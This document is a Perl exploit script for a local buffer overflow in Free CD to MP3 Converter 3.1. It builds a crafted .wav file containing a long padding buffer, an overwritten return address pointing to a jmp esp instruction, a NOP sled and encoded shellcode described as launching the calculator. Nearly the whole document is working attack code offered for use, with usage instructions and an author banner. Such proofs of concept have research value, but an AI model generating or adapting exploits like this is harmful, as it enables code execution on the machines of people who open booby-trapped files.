Free CD to MP3 Converter 3.1 – Local Buffer Overflow
#!usr/bin/perl #Exploit Title: Exploit 0day Buffer Overflow Free CD to MP3 Converter 3.1 #Date: 09\11\2010 #Author: C4SS!0 G0M3S #Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe #Version: 3.1 #Tested on: WIN-XP SP3 # # #Exploit Writted by C4SS!0 G0M3S # # #Home: http://www.invasao.com.br # # #E-mail: louredo_@hotmail.com # # use IO::File;#import IO:File system("cls"); system("color 4f"); sub usage { sub image { print("\n\n"); print(" ______________\n"); print(" <C4SS!0 G0MES>\n". " --------------\n". " \\ \,__\,\n". " \\-- (oo)____\n". " (__) )\\\n". " ||--|| \n\n\n\n"); } image; print(" [+]Exploit: Buffer Overflow Free CD to MP3 Converter\n\n". " [+]Author: C4SS!0 G0M3S\n\n". " [+]Home: http://www.invasao.com.br\n\n". " [+]E-mail: Louredo_\@hotmail.com\n\n\n". " [+]Usage: exploit.pl <File to create>\n". " [+]Exemple: exploit.pl music.wav\n"); } if($#ARGV != 0) { usage; } else { image; $buffer="\x41" x 4112; $eip=pack('V',0x004D97BB);#Jmp Esp From(cdextact.exe) #Exec the Calc $shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; $nops="\x90" x 50; print(" [+]Writing in the Shellcode @ARGV[0] File\n\n". " [+]Identifying the Length of the Shellcode\n\n". " [+]Length of the Shellcode:".length($shellcode)."\n\n". " [+]File @ARGV[0] Created Successfully\n\n"); open(f,">@ARGV[0]"); print f $buffer.$eip.$nops.$shellcode.$nops; close(); } |